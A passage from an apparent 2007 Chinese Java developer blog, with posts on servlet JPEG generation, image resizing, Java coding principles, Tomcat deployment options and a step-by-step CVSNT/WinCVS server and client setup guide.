         }
    }


    我们首先设置了response的contentType为image/jpeg,这样浏览器就可以正确识别。

    然后,创建一个大小为100x100的BufferedImage对象,准备绘图:

    int width = 100;
    int height = 100;
    BufferedImage bi = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);


    接着,BufferedImage对象中获取Graphics2D对象并绘图:

    Graphics2D g = bi.createGraphics(); // 创建Graphics2D对象
    // 填充背景为白色:
    g.setBackground(Color.BLUE);
    g.clearRect(0, 0, width, height);
    // 设置前景色:
    g.setColor(Color.RED);
    // 开始绘图:
    g.drawLine(0, 0, 99, 99); // 绘制一条直线
    // 绘图完成,释放资源:
    g.dispose();
    bi.flush();


    然后,对BufferedImage进行JPEG编码:

    JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(out);
    JPEGEncodeParam param = encoder.getDefaultJPEGEncodeParam(bi);
    param.setQuality(1.0f, false);
    encoder.setJPEGEncodeParam(param);
    try {
         encoder.encode(bi);
    }
    catch(IOException ioe) {
         ioe.printStackTrace();
    }


    编码后的JPEG图像直接输出到了out对象中,我们只要传入response. getOutputStream()就可以直接输出到HttpResponse中。

    下面是完整的代码:

    package com.crackj2ee.web.util;

    import java.io.*;
    import java.awt.*;
    import java.awt.image.*;

    import javax.servlet.*;
    import javax.servlet.http.*;

    import com.sun.image.codec.jpeg.*;

    /**
    * @author Liao Xue Feng
    */
    public class CreateImageServlet extends HttpServlet {

         protected void doGet(HttpServletRequest request, HttpServletResponse response)
                 throws ServletException, IOException
         {
             response.setContentType("image/jpeg");
             createImage(response.getOutputStream());
         }

         private void createImage(OutputStream out) {
             int width = 100;
             int height = 100;
             BufferedImage bi = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
             Graphics2D g = bi.createGraphics();
             // set background:
             g.setBackground(Color.BLUE);
             g.clearRect(0, 0, width, height);
             // set fore color:
             g.setColor(Color.RED);
             // start draw:
             g.drawLine(0, 0, 99, 199);
             // end draw:
             g.dispose();
             bi.flush();
             // encode:
             JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(out);
             JPEGEncodeParam param = encoder.getDefaultJPEGEncodeParam(bi);
             param.setQuality(1.0f, false);
             encoder.setJPEGEncodeParam(param);
             try {
                 encoder.encode(bi);
             }
             catch(IOException ioe) {
                 ioe.printStackTrace();
             }
         }
    }


    最后将这个Servlet编译,注册到web.xml中,映射路径为/CreateImage,写一个简单的index.html测试:

    <html><head></head>
    <body>
    <img src="CreateImage">
    </body></html>


    如能正确显示,大功告成!
    posted @ 2007-12-02 17:11 jadmin 阅读(78) | 评论 (0)编辑 收藏
      在任何一个综合性网站,我们往往需要上传一些图片资料。但随着高分辨率DC的普及,上传的图片容量会很大,比如300万象素DC出来的文件基本不下600K。为了管理方便,大家可能不愿意每次都用ACDsee修改它,而直接上传到服务器。但是这种做法在客户端看来就没有那么轻松了,对于拨号上网的用户简直是一场恶梦,虽然你可以在图片区域设置wide和high!
      
      问题的解决之道来了!我们可以在类中处理一张大图,并缩小它。
      前提是需要JDK1.4,这样才能进行处理。按以下方法做:
      
      import java.io.File;
      import java.io.FileOutputStream;
      import java.awt.Graphics;
      import java.awt.Image;
      import java.awt.image.BufferedImage;
      
      import com.sun.image.codec.jpeg.JPEGCodec;
      import com.sun.image.codec.jpeg.JPEGImageEncoder;
      
      public class JpgTest {
      
      public void JpgTset() throws Exception{
      File _file = new File("/Order005-0001.jpg"); //读入文件
      Image src = javax.imageio.ImageIO.read(_file); //构造Image对象
      int wideth=src.getWidth(null); //得到源图宽
      int height=src.getHeight(null); //得到源图长
      BufferedImage tag = new BufferedImage(wideth/2,height/2,BufferedImage.TYPE_INT_RGB);
      tag.getGraphics().drawImage(src,0,0,wideth/2,height/2,null); //绘制缩小后的图
      FileOutputStream out=new FileOutputStream("newfile.jpg"); //输出到文件流
      JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(out);
      encoder.encode(tag); //近JPEG编码
      //System.out.print(width+"*"+height);
      out.close();
      }
      }
      
      过程很简单,从本地磁盘读取文件Order005-0001.jpg(2032*1524),变成Image对象src,接着构造目标文件tag,设置tag的长宽为源图的一半,对tag进行编码,输出到文件流out,最后关闭文件流。
      
      还有一些问题需要说明:
      第一,目前只能支持JPG(JPEG)、GIF、PNG三种格式。
      第二,对于源图的容量有限制,最好不要超过1M,否则会抛内存不足的错误,不过我试验过1.8M的源图,可以成功,但是也很容易抛内存不足。
      
      引用一位前辈的话:图象运算本身是密集型运算,需要大量的内存存放象素值。我用VC试了一下,4M的图象也有问题,而且越是压缩比大的图片在内存中还原成BITMAP时需要的内存越大。解决的方法,可以重写编码类,先开一定的内存,然后一段一段编码写到临时文件中,输出的时候再一段一段读出来。或利用nio的内存映象来操作。JavaMail由于采用了Builder模式,先生成一个邮件的每一个部分,然后合并成一个完整的邮件对象,这样每个构件都要先生成到内存中,你如果发送一个上百兆的附件,那么在构造Part时肯定内存溢出,所以我就改写了BodyPart的构造,让他和一个临时文件关联,然后用临时文件保存Part而不是构造在内存中,这样任义大小的附件(硬盘能放得下为限)都可以发送了。
      
      最后,如果大家对图像处理有更高的要求,不妨关注一下开源项目。比如JMagick,可以使用JMagick来实现图片的复制、信息获取、斜角、特效、组合、改变大小、加边框、旋转、切片、改变格式、去色等等功能。
    posted @ 2007-12-02 17:07 jadmin 阅读(51) | 评论 (0)编辑 收藏
     有许多标准和实践准则可适用于Java开发者,但此处要说的,是每个Java开发者需坚守的基本原则。

      一、为代码加注释。虽然每个人都知道这点,但有时却不自觉忘了履行,今天你“忘了”加注释了吗?虽然注释对 程序的功能没什么“贡献”,但过一段时间,比如说两星期之后或者更长,回过头来看看自己的代码,说不定已经记不住它是干什么的了。如果这些代码是你个人 的,那还算是走运了,不幸的是,当然了,大多数时候都是别人的不幸,很多时候大家都是在为公司写代码,写代码的人也许早已经离开了公司,但别忘了一句古 话,有来有往嘛,为他人,也为我们自己,请为你的代码加上注释。

      二、不要让事情复杂化。程序员有时候总是对简单问题想出复杂的解决方案,比如说,在只有五个用户的程序中引 入EJB、对程序实现了并不需要的框架(framework),之类的还有属性文件、面向对象解决方案、多线程等等。为什么要这样做呢?也许我们并不知道 是否这样会更好,但这样做也许可以学到一些新东西,或者让自己更感兴趣一些。如果是不知道为什么这样做,建议多请教经验丰富的程序员,如果是为了个人的目 的,麻烦让自己更专业一点。

      三、始终牢记——“少即是好(Less is more)并不总是对的”。代码效率虽然很重要,但在许多解决方案中,编写更少的代码并不能改善这些代码的效率,请看下面这个简单的例子:


    if(newStatusCode.equals("SD") && (sellOffDate == null ||
    todayDate.compareTo(sellOffDate)<0 || (lastUsedDate != null &&
    todayDate.compareTo(lastUsedDate)>0)) ||
    (newStatusCode.equals("OBS") && (OBSDate == null ||
    todayDate.compareTo(OBSDate)<0))){
    newStatusCode = "NYP";
    }

      能看明白if条件语句是干什么的吗?能想出来是谁写的这段代码吗?如果把它分成两段独立的if语句,是不是更容易理解呢,下面是修改后的代码:


    if(newStatusCode.equals("SD") && (sellOffDate == null ||
    todayDate.compareTo(sellOffDate)<0 || (lastUsedDate != null &&
    todayDate.compareTo(lastUsedDate)>0))){
    newStatusCode = "NYP";
    }else
    if(newStatusCode.equals("OBS") && (OBSDate == null ||
    todayDate.compareTo(OBSDate)<0))
    {
    newStatusCode = "NYP";
    }

      是不是读起来容易多了呢,在此只是多加了一个if和两个花括号,但代码的可读性与可理解性就一下子提高了一大截。

      四、请不要硬编码。开发者经常有意“忘记”或忽略掉这点,因为有些时候开发日程逼得实在太紧。其实,多写一行定义静态变量的代码能花多少时间呢?


    public class A {
    public static final String S_CONSTANT_ABC = "ABC";
    public boolean methodA(String sParam1){
    if (A.S_CONSTANT_ABC.equalsIgnoreCase(sParam1)){
    return true;
    }
    return false;
    }
    }

      现在,每次需要将“ABC”与其他变量进行比较时,不必记住实际代码,直接引用A.S_CONSTANT_ABC就行了,而且在今后需要进行修改时,也可在一处修改,不会翻遍整个源代码逐个修改了。

      五、不要“创造”自己的框架(framework)。确切来说,有数以千计的各种框架存在,而且大多数是开 源的,这些框架都是优秀的解决方案,可用于日常程序开发中,我们只需使用这些框架的最新版本就行了,至少表面上要跟上形势吧。被大家广为接受的最为明显的 一个例子就是Struts了,这个开源web框架非常适合用在基于web的应用程序中。是不是想开发出自己的Struts呢,还是省点力气吧,回头看看第 二条——不要让事情复杂化。另外,如果正在开发的程序只有3个窗口,就不要使用Struts了,对这种程序来说,不需要那么多的“控制”。

      六、不要使用println及字符串连接。通常为了调试方便,开发者喜欢在可能的所有地方都加上 System.out.println,也许还会提醒自己回过头来再来删除,但有些时候,经常会忘了删除或者不愿意删除它们。既然使用 System.out.println是为了测试,那么测试完之后,为什么还要留着它们呢,因为在删除时,很可能会删除掉真正有用的代码,所以不能低估 System.out.println危害啊,请看下面的代码:


    public class BadCode {
    public static void calculationWithPrint(){
    double someValue = 0D;
    for (int i = 0; i < 10000; i++) {
    System.out.println(someValue = someValue + i);
    }
    }
    public static void calculationWithOutPrint(){
    double someValue = 0D;
    for (int i = 0; i < 10000; i++) {
    someValue = someValue + i;
    }
    }
    public static void main(String [] n) {
    BadCode.calculationWithPrint();
    BadCode.calculationWithOutPrint();
    }
    }

      从测试中可以发现,方法calculationWithOutPrint()执行用了0.001204秒,作为对比,方法calculationWithPrint()执行可是用了10.52秒。

      要避免浪费CPU时间,最好的方法是引入像如下的包装方法:


    public class BadCode {
    public static final int DEBUG_MODE = 1;
    public static final int PRODUCTION_MODE = 2;
    public static void calculationWithPrint(int logMode){
    double someValue = 0D;
    for (int i = 0; i < 10000; i++) {
    someValue = someValue + i;
    myPrintMethod(logMode, someValue);
    }
    }
    public static void myPrintMethod(int logMode, double value) {
    if (logMode > BadCode.DEBUG_MODE) { return; }
    System.out.println(value);
    }
    public static void main(String [] n) {
    BadCode.calculationWithPrint(BadCode.PRODUCTION_MODE);
    }
    }


      另外,字符串连接也是浪费CPU时间的一个大头,请看下面的示例代码:


    public static void concatenateStrings(String startingString) {
    for (int i = 0; i < 20; i++) {
    startingString = startingString + startingString;
    }
    }
    public static void concatenateStringsUsingStringBuffer(String startingString) {
    StringBuffer sb = new StringBuffer();
    sb.append(startingString);
    for (int i = 0; i < 20; i++) {
    sb.append(sb.toString());
    }
    }

      在测试中可发现,使用StringBuffer的方法只用了0.01秒执行完毕,而使用连接的方法则用了0.08秒,选择显而易见了。

      七、多关注GUI(用户界面)。再三强调,GUI对商业客户来说,与程序的功能及效率同等重要,GUI是一 个成功程序的最基本部分,而很多IT经理往往都没注意到GUI的重要性。在现实生活中,许多公司可能为了节省开支,没有雇用那些有着设计“用户友好”界面 丰富经验的网页设计者,此时Java开发者只能依赖他们自身的HTML基本功及在此领域有限的知识,结果,很多开发出来的程序都是“计算机友好”甚于“用 户友好”。很少有开发者同时精通软件开发及GUI设计,如果你在公司“不幸”被分配负责程序界面,就应该遵守下面三条原则:

      1、 不要再发明一次轮子,即不做无用功。现有的程序可能会有类似的界面需求。

      2、 先创建一个原型。这是非常重要一步,用户一般想看到他们将使用的东西,而且可以先利用这个原型征求用户的意见,再慢慢修改成用户想要的样子。

      3、 学会换位思考。换句话来说,就是从用户的角度来审查程序的需求。举例来讲,一个汇总的窗口可以跨页或者不跨页,作为一个软件开发者,可能会倾向于不跨页,因为这样简单一些。但是,从用户的角度来看,可能不希望看到上百行数据都挤在同一页上。

      八、文档需求不放松。每个商业需求都必须记录在案,这可能听上去像童话,似乎在现实生活中很难实现。而我们要做的是,不管开发时间多紧迫,不管最终期限多临近,对每个商业需求都必须记录在案。

      九、单元测试、单元测试、单元测试。关于什么是单元测试的最好方法,在此不便细说,只是强调,单元测试一定要完成,这也是编程中最基本的原则。当然了,如果有人帮你做单元测试自然是最好,如果没有,就自己来做吧,当创建一个单元测试计划时,请遵守以下三条最基本的原则:

      1、 先于编写类代码之前编写单元测试。

      2、 记录单元测试中的代码注释。

      3、 测试所有执行关键功能的公有方法,这里不是指set和get方法,除非它们是以自己独特方式执行set和get方法。

      十、质量,而不是数量。有些时候因为产品问题、期限紧迫、或一些预料之外的事情,导致常常不能按时下班,但一般而言,公司不会因为雇员经常加班而对之表扬和奖励,公司只看重高质量的工作。如果遵守了前九条原则,你会发现自己写出的代码bug少且可维护性高,无形中质量提高了一大步。
    posted @ 2007-12-02 01:26 jadmin 阅读(67) | 评论 (0)编辑 收藏

    http://www.javaworld.com.tw/confluence/pages/viewpage.action?pageId=833

    posted @ 2007-12-01 17:09 jadmin 阅读(53) | 评论 (0)编辑 收藏

    第一种方法:在tomcat中的conf目录中,在server.xml中的,<host/>节点中添加:
    <Context path="/hello" docBase="D:eclipse3.2.2forwebtoolsworkspacehelloWebRoot" debug="0" privileged="true">
    </Context>
    至于Context 节点属性,可详细见相关文档。

    第二种方法:将web项目文件件拷贝到webapps 目录中。

    第三种方法:很灵活,在conf目录中,新建 Catalina(注意大小写)\localhost目录,在该目录中新建一个xml文件,名字可以随意取,只要和当前文件中的文件名不重复就行了,该xml文件的内容为:
    <Context path="/hello" docBase="D:eclipse3.2.2forwebtoolsworkspacehelloWebRoot" debug="0" privileged="true">
    </Context>

    posted @ 2007-12-01 15:30 jadmin 阅读(39) | 评论 (0)编辑 收藏

    1、前言:

    CVS是版本控制的利器,目前在Linux和Windows下都有不同版本;但是国内大多数应用介绍都是基于Linux等开放源代码的开放性软件组织,而且讲解的也不系统,让人摸不着头脑;Windows下的CVS使用介绍更是了了无几。
    本文是针对Windows的LAN环境下使用CVS的经验介绍,一步一步的向您介绍如何配置和使用CVS的服务器端和客户端。同时,本文只使用到了CVS当中最基本的东西,还有很多更为高级的东西,本文暂不涉及。下面是本文的另一个连接映射,欢迎大家讨论使用,共同进步。
    文章连接http://www.kuihua.net/book/list.asp?id=66
    论坛连接http://www.kuihua.net/bbs/dispbbs.asp?boardID=1&;RootID=670&ID=670

    2、安装版本:

    2.1、服务器端(CVSNT)

    1. 本文使用的是CVSNT-2.0.4,这是一个比较稳定的版本,不要使用最新的CVSNT-2.1.1,本人在使用中发现有比较严重的Bug。
    2. 下载连接http://www.cvsnt.org 目前,它提供2.0.6和2.1.1版本的下载。
    3. 上面连接还提供源代码,有兴趣的朋友还可以下载下来仔细研究:)。
    4. 有心的朋友,仔细观察就会发现http://www.cvsnt.org 并没有提供任何客户端的下载,那是因为CVS.exe既可以用于服务器端又可以用于客户端,WinCVS是为了客户端使用的方便而定制的外壳。(关于这一点,本人未得到任何证实,只是本人在使用过程中的一种体会,欢迎大家讨论。)

    2.2、客户端(WinCVS)

    1. 本文使用的是WinCVS-1.3b13,这应该是一个最新版本:),本人在使用过程中并没有发现有任何严重的Bug。
    2. 下载连接http://sourceforge.net/projects/cvsgui/
    3. 此网站还提供丰富的CVS文档和相关源代码,以及多个OS下面的相关文档和代码;有收藏癖的朋友有福了:)。
    4. WinCVS-1.3b13 使用的CVSNT的版本是CVSNT-2.0.2,在与服务器端的CVSNT-2.0.4 版本配合使用时,未发现任何不兼容或冲突现象。
    5. 在本人的系统中用cvs version命令显示的结果如下:
    Client: Concurrent Versions System (CVSNT) 2.0.2 (client/server)
    Server: Concurrent Versions System (CVSNT) 2.0.4 (client/server)

    3、服务器端(CVSNT)的安装与配置:

    3.1、服务器端机器和环境配置:

    1. 操作系统:Windows 2000 Professional SP2中文版
    2. 机器名称:Server
    3. 机器地址:192.168.0.6 (内部IP)
    4. 网络环境:100兆交换局域网
    5. 硬盘分区格式:FAT32与NTFS都可以。
    6. 准备2个CVSNT的工作目录:
    F:\KHRoot (存放自己源代码的根目录)
    F:\KHTemp (存放CVS出错信息的目录)
    7. 本机上存在有的用户列表:(由NT或本机的使用者创建)
    Administrator (系统管理员)
    Jackey (普通用户)
    Goury (普通用户)
    Riolee (普通用户)

    3.2、安装CVSNT:

    1. 下载CVSNT-2.0.4;使用administrator登陆到Server机器上。
    2. 双击自解压的exe文件,选择Full Install,其它按照默认方式安装;安装完毕后可以在服务控制器中发现多了2个服务:cvsnt与cvslocking
    3. 发送Service Control Panel到桌面,形成快捷方式。
    4. 安装程序会自动将CVS安装路径,设置到系统的Path环境变量当中,因此使用者可以在控制台(cmd)中任意位置执行cvs.exe,这一点对下面的配置很重要!!

    3.3、配置CVSNT服务器:

    1. 双击Service Control Panel快捷方式,在Service Status页面,确认2个服务正常和稳定运行。
    2. 选择Repository页面,点按Add按钮,选择已经准备好的F:\KHRoot这个目录,确认,OK,Yes,这时会在F:\KHRoot下面建立CVSRoot目录,这是CVS默认的管理目录(默认模块)。如果报错,那是系统Path路径未设置正确。
    3. 选择Advanced页面,勾上Use local users for pserver ...,(Why? I don't know!J),在Temporary栏选择已经准备好的F:\KHTemp,确认,OK。
    4. 点按【应用】按钮,确认,退出,OK,搞定!!

    3.4、小结:

    1. 至此,CVSNT服务器端基本配置完毕,下面进行WinCVS的使用和管理。
    2. 由于CVS支持远程管理,也就是客户端与服务器集成的特性,因此,我们将添加用户、权限控制、模块维护等所有的管理工作都放到远端(WinCVS)进行管理,服务器端这时可以Ctrl+Atl+Del进入锁定状态了,下面的所有工作都交给远端的WinCVS来进行管理。

    4 客户端(WinCVS)的安装与配置:

    4.1 客户端机器和环境配置:

    1. 操作系统:Windows 2000 Professional SP2中文版
    2. 机器名称:YCW2000
    3. 机器地址:192.168.0.2 (内部IP)
    4. 网络环境:100兆交换局域网,可以直接访问到Server
    5. 硬盘分区格式:FAT32与NTFS都可以。

    4.2 安装WinCVS:

    1. 下载WinCVS 1.3b13,全部按照默认安装就可以了。
    2. 启动WinCVS,开始使用。特别注意:以下的所有操作都是在YCW2000(192.168.0.2)这台机器上远程完成的,此时的Server(192.168.0.6)主机已经进入了锁定状态。

    5 管理员使用WinCVS进行远程管理:

    5.1 配置WinCVS成管理员状态:

    1. 准备管理员工作目录:(在YCW2000机器上)
    E:\CVSClient\Admin (管理员工作目录)
    E:\CVSTemp (WinCVS临时目录)
    2. 第一次启动WinCVS时会自动弹出Preferences配置页面,也可以通过Admin=>Preference菜单进入;第一次使用时需要配置如下的3个页面:
    General页面设置:
    注:按照图示方式输入即可,需要注意的是Path部分的格式是Unix路径格式,它指的是CVSNT端设置的工作根目录。
    CVS页面设置: 注:Home路径是设置密码等文件的存放位置,必须指定,否则在登陆时,WinCVS也要弹出设置框。这个Home路径需要Python.exe这个外挂程序才有效。这里选择已经准备好的路径:E\CVSTemp
    WinCVS页面设置:
    注:此页面设置WinCVS的外挂编辑程序,通常使用UltraEdit比较方便。
    3. 设置管理员的工作路径:可以点按图标 ,或View=>Browse Location=>Change...菜单进行设置,选择已经准备好的路径:E:\CVSClient\Admin,确认,OK,这时此目录将出现在WinCVS的左边导航栏【Workspace】内。
    4. 至此,WinCVS就被配置成了远程的管理员使用状态,下面进行一般管理员需要的基本操作演练。演练的内容为:Administrator需要管理Jackey,Goury,Riolee三个用户,分别为这3个用户建立工作目录,每个人只能访问自己的工作目录。同时,只有Administrator能够进行权限分配,其它人没有任何管理权限。

    5.2 管理员进行管理演练:

    1. 登陆远程CVSNT:
      ◇ 选择Admin=>Login菜单,默认设置,OK。
      ◇ 弹出密码输入框,确认,OK。注意观察输出框【OutPut】的返回结果。
    2. Checkout默认模块:(CVSRoot管理模块)
      ◇ 在左边导航栏【Workspace】内,选择【Admin】点按右键,选择【Checkout
      modules...】,在【Checkout settings】中输入CVSRoot,确定,OK。如下图:
      ◇ 如果成功的话,会在【Admin】栏下增加一个【CVSRoot】目录。表示您已经将【
      CVSRoot】这个管理模块下载到本地了。

    3. CVS中目录权限介绍:

    ◇ 系统支持的目录权限列表:
    r (读取权限)
    w (写入权限)
    c (创建和删除权限)
    n (没有任何权限)
    ◇ 默认情况下,任何用户都拥有任何目录的所有权限。
    ◇ 任何情况下只有目录的拥有者和Administrator才有权力更改目录的使用权限。下面将会介绍如何修改目录权限和目录的拥有者。

    4. 修改CVSRoot的权限:只让Administrator拥有rcw三种全部权限。

    ◇ 选中刚刚下载的【CVSRoot】模块,【Ctrl+L】或Admin=>Command Line...,弹出Command Line Settings对话框,直接执行CVS命令。
    ◇ 取消所有用户的默认权限:cvs chacl default:n 回车,OK,完成。
    ◇ 设置Administrator拥有所有权限:cvs chacl administrator:rcw 回车,OK,完成。
    ◇ 更改【CVSRoot】的拥有者:cvs chown administrator 回车,OK,完成。
    ◇ 查看【CVSRoot】的权限状态:cvs lsacl 回车,OK,在【Output】中显示:
    Owner: administrator
    default:n
    administrator:rwc
    ◇【CVSRoot】的权限配置完毕。

    5. 编写代码库中的模块文件,便于多用户下载方便。

    l 需要自己编写的模块文件格式如下:(实现基本功能)
    【模块一的描述】【n个空格或参数】【相对目录路径一(DirA)】
    【模块二的描述】【n个空格或参数】【相对目录路径二(DirB)】
    ......
    【模块X的描述】【n个空格或参数】【相对目录路径X(DirX)】
    ◇【描述信息】与【相对路径】在字面上不一致时,需要使用-a参数。
    ◇ 【相对路径】指的是CVS会自动带上根路径,这里是F:\KHRoot,所以上面例子的完整路径为:F:\KHRoot\DirA
    ◇ 了解了模块文件结构,现在来实际操作一把:双击【CVSRoot】模块下的modules文件,用UltraEdit打开进行编辑。
    ◇ 为Jackey,Goury,Riolee三个用户分配工作目录和完成其它模块描述。
    CVSRoot CVSRoot
    Jackey工作目录 -a Jackey
    Goury工作目录 -a Goury
    Riolee工作目录 -a Riolee
    ◇ 编辑完毕,存盘。回到WinCVS,选中modules这个文件【Ctlr+M】或右键选择【Commit selection...】,默认设置,【确认】,OK,完成上传。

    6 . 为三个用户分别上传工作目录:

    ◇ 在YCW2000机器上的E:\CVSClient\Admin分别建立三个目录分别名为:Jackey,Goury,Riolee,作为临时交换目录。
    ◇ 在新创建的每个目录中用UltraEdit或拷贝一个Readme.txt作为引子文件!!:)
    ◇ 然后,回到WinCVS,在【Workspace】栏的【Admin】目录下形成如下的目录结构:
    ◇ 分别选中Goury,Jackey,Riolee,右键,点按【Import Module】,选择【Continue】,其它全部使用默认值,【确定】,OK,完成上传工作。
    ◇ 仔细观察【Output】窗口,确认都成功上传了。
    ◇ 转移到系统的Explore程序中,删除E:\CVSClient\Admin目录下的Jackey,Goury,Riolee三个目录。然后回到WinCVS当中。(一定要删除!!!:)
    ◇ 至此,就完成了工作目录的上传工作。

    7. 【Checkout】下载3个用户的工作目录到【Admin】目录下:

    ◇ 在【Workspace】栏选择【Admin】目录,右键,点按【Checkout Module...】,如下图:
    ◇ 选择【...】,得到CVSNT上最新的模块配置情况,弹出如下的信息框:
    ◇ 这个结构图就是刚才在modules当中编写的模块文件格式信息。选择【Jackey工作目录】,下载到YCW2000机器的E:\CVSClient\Admin目录下。
    ◇ 按照以上操作,依次分别下载【Goury工作目录】和【Riolee工作目录】。形成如下状态:


    8. 为三个用户分别设置各自目录的访问权限。(只有自己才能访问自己的工作目录)

    ◇ 选中【Goury】目录,【Ctrl+L】或Admin=>Command Line...,弹出Command Line Settings对话框,直接执行CVS命令。
    ◇ 取消所有用户的默认权限:cvs chacl default:n 回车,OK,完成。
    ◇ 设置Goury拥有所有权限:cvs chacl goury:rcw 回车,OK,完成。
    ◇ 查看【CVSRoot】的权限状态:cvs lsacl 回车,OK,在【Output】中显示:
    Owner: administrator
    default:n
    goury:rwc
    ◇ 按照以上的方法依次分别设置【Jackey】与【Riolee】的工作目录访问权限。
    ◇ 至此,完成了3个用户的目录权限分配。注意,虽然Administrator也没有权力再次【Checkout】那3个用户的工作目录,但是它是这些目录的拥有者又是Administrator,因此,只有它才有权力更改这些目录的访问权限。

    9. CVSNT系统中的用户管理原则:

    ◇ CVSNT的用户与本机(这里是Server机器)上的NT用户是相关联的,即CVSNT用的全是本机上存在的已有用户,因此在默认情况下可以不用设置任何用户名,只要使用本机上已经存在的用户名就可以用WinCVS进行登陆。
    ◇ 只有用Administrator身份登陆到CVSNT系统中,才有权力进行新用户的创建和删除。
    ◇ 使用CVS创建的新用户,必须与服务器端机器上的NT用户相绑定,才能生效;因此,这个新用户实际上是绑定它的NT用户的一个替身,在CVS系统中称为"别名"。
    ◇ 一个NT用户可以有多个‘替身'或‘别名',充当多个CVS用户。

    10. 用WinCVS进行新用户的添加和删除。(确保使用Administrator登陆)

    ◇ 【Ctrl+L】或Admin=>Command Line...,弹出Command Line Settings对话框,直接执行CVS命令。
    ◇ 添加新用户【Killer】:cvs passwd -a Killer 回车,设置密码,OK,完成。
    ◇ 绑定【Killer】到【Jackey】:cvs passwd -r Jackey Killer 回车,设置密码,OK,完成。
    ◇ 两次输入的密码可以不同,但以第二次输入的密码为最终密码。
    ◇ 删除用户【Killer】:cvs passwd -X Killer 回车,OK,完成。
    ◇ 其它特殊的功能查看passwd命令的帮助。

    11.使用完毕后,一定要【Logout】,因为WinCVS退出时并不会自动注销自己在远端的会话;这样做是为了防止其它人接着打开WinCVS,不用登陆就可以完成你能进行的所有操作了。

    6 WinCVS中常见的特殊操作:

    6.1 如何删除下载的文件或目录:

    1. 选中下载的某个或多个文件,执行【Remove】命令。
    2. 再次选中这些文件,执行【Commit】命令就完成了删除文件的操作。
    3. 本质上CVS是不会删除任何文件和目录的,即使是执行了以上操作,删除了某些文件,远端CVS实际执行的是将提交删除的文件放到了一个叫【Attic】的目录下,因此,这些被删除的文件是可以通过一定的方法恢复的。

    6.2 如何恢复已经删除的文件或目录:

    1. 在执行了【Remove】命令之后恢复文件。
    ◇ 【Ctrl+L】直接输入命令cvs add xxxxx,或执行【Add Selection】界面操作。
    ◇ 这样就可以直接恢复还未提交的删除文件。
    2. 在执行了【Commit】命令之后恢复文件。
    ◇ 只能用【Ctrl+L】直接输入命令cvs add xxxxx,这时会得到一个空的文件。
    ◇ 选中这个空文件,执行【Update】操作,得到这个文件的实体。
    ◇ 再次选中这个文件,执行【Commit】操作,得到这个文件最新版本。
    3. 由于CVS系统中本质上不会删除任何目录,因此,谈不上对目录的恢复,但是CVS系统默认情况下是要在用户本机上(如:YCW2000)要删除空目录,因此,可以用如下方法得到已被删除的空目录:cvs checkout -p xxx,也可以在Admin=>Preference的【Globals】页面进行设置。
    4. 可见,CVS系统能够保证:只要上传到服务器的文件,无论你怎么在远程进行如何的操作,正常的或非正常的操作,都可以用Administrator登陆上去,通过以上的方法找到丢失的文件。除非用户进入到远端服务器,将文件手动删除,那就没办法了:)

    6.3 如何得到以前版本的文件:

    1. 有时我们需要得到以前版本的文件,而WinCVS默认方式只传递最新的版本。
    2. 选中某个文件,【Ctrl+G】或右键,点按【Graph selection...】,使用默认设置,就可以得到该文件所以版本的图形结构描述。
    3. 选中一个版本,右键,点按【Retrieve revision】,就可以得到相应的老版本文件。当然也可以得到最新版本的文件:)

    6.4 有时WinCVS会变得异常缓慢,怎么办?

    1. 确认安装了WinCVS的机器上没有安装CVSNT服务器端,因为它们使用的版本有可能不一致。
    2. 只安装了WinCVS,但以前安装过其它版本的WinCVS,怎么办?
    3. 先卸载所有的WinCVS系统,删除安装目录下的残留文件。
    4. 打开注册表编辑器,全程查找cvs关键字,找到一个删除一个,一直到找不到为止!!:)
    5. 重新安装WinCVS,这个问题基本上就可以解决了,我就是这样解决,不晓得你那里如何?:)

    7 其它说明:

    1. 本文的重点在介绍如何让使用者搭建CVSNT+WinCVS这个系统,因此重点介绍了管理员的常用操作,至于一般用户使用到的操作,相对比较简单和单一,使用WinCVS的次数多了,很快就会熟悉它了。
    2. 这篇文档只是窥探了CVS的一点皮毛而已,CVS当中还有很多高级的用法,以及上百个命令,还有很多新鲜的管理源代码的方法,比如:tag,branch等模式;因此,热烈欢迎大家积极探索,不断共享,不断进步。。。。。。。。
    3. 另外,cvs.html这个帮助,里面的信息也很丰富,但是,很多地方写得不够清楚,需要不断猜测和实践才能知道怎么回事,本文的很多经验都是看这个帮助,如此这般,采用这个笨办法得到的。。。。。。
    4. 最后,祝愿看到此文的人,得到的帮助、提高等好处大于或等于浪费的时间、反而退步等坏处!!

    posted @ 2007-12-01 13:31 jadmin 阅读(60) | 评论 (0)编辑 收藏

    先说下CVSNT的用户验证方式,CVSNT的用户验证方式分两种:Windows系统用户与CVSNT用户共存的混合验证方式,及CVSNT用户 单一验证方式,默认工作在混合验证方式下,当然使用单一验证方式对用户的管理肯定比较方便一点,因此下面的配置就是围绕该方式进行的。各个资源库所使用的 验证方式及用户配置由其目录下CVSROOT里的配置文件决定,其中有几个比较重要的文件。


    1、config文件

    控制CVSNT的验证工作方式的就是config文件,注意该文件最前面的两行:

    #Set this to `no" if pserver shouldn"t check system users/passwords
    #SystemAuth=yes

    第二行就是我们要修改的内容,默认状态是被注释掉的,SystemAuth有两个值yes和no:

    yes:pserver将使用Windows系统用户和CVSNT用户来共同验证(若CVSNT用户未定义,则用Windows系统用户来进行验证),默认为yes,CVSNT用户在后面将要介绍的passwd文件中定义。

    no:只使用CVSNT用户来进行验证。

    该文件可以在客户端进行修改,因此我们可以将其checkout出来将第二行改为SystemAuth=no,并commit到CVSNT上就可以启用单一验证方式了,注意启用单一验证方式后原来的Windows系统用户将变为无效,因此要注意执行该步骤的时机。

    2、 admin文件

    该文件保存CVSNT管理员用户列表,内容很简单,形式如下:
    User1
    User2
    User3
    每一行定义一个管理 员用户,默认时没有该文件,但你可以在客户端自己添加并add上去,再commit到CVSNT上,但是光有这个文件还是不会生效的,还要将其添加到 checklist文件中,使CVSNT能够读取该文件的内容,在checklist中添加文件列表的格式为:

    [空格]文件名 出错信息

    其中文件名前的空格必须要有的,不然会出错。
    我们可以先添加admin文件到CVSNT中,再修改checklist文件commit,就可以使admin文件生效了。

    3、passwd文件

    服务器工作在CVSNT用户单一验证方式下的时候,这个文件定义了CVSNT的用户信息,这里面保存着用户名,用户密码,以及别名信息。默认状态下 没有该文件,但是我们可以在CVSNT还工作在混合验证方式下时,用系统管理员登录,通过添加用户命令来让CVSNT自动建立一个passwd文件。

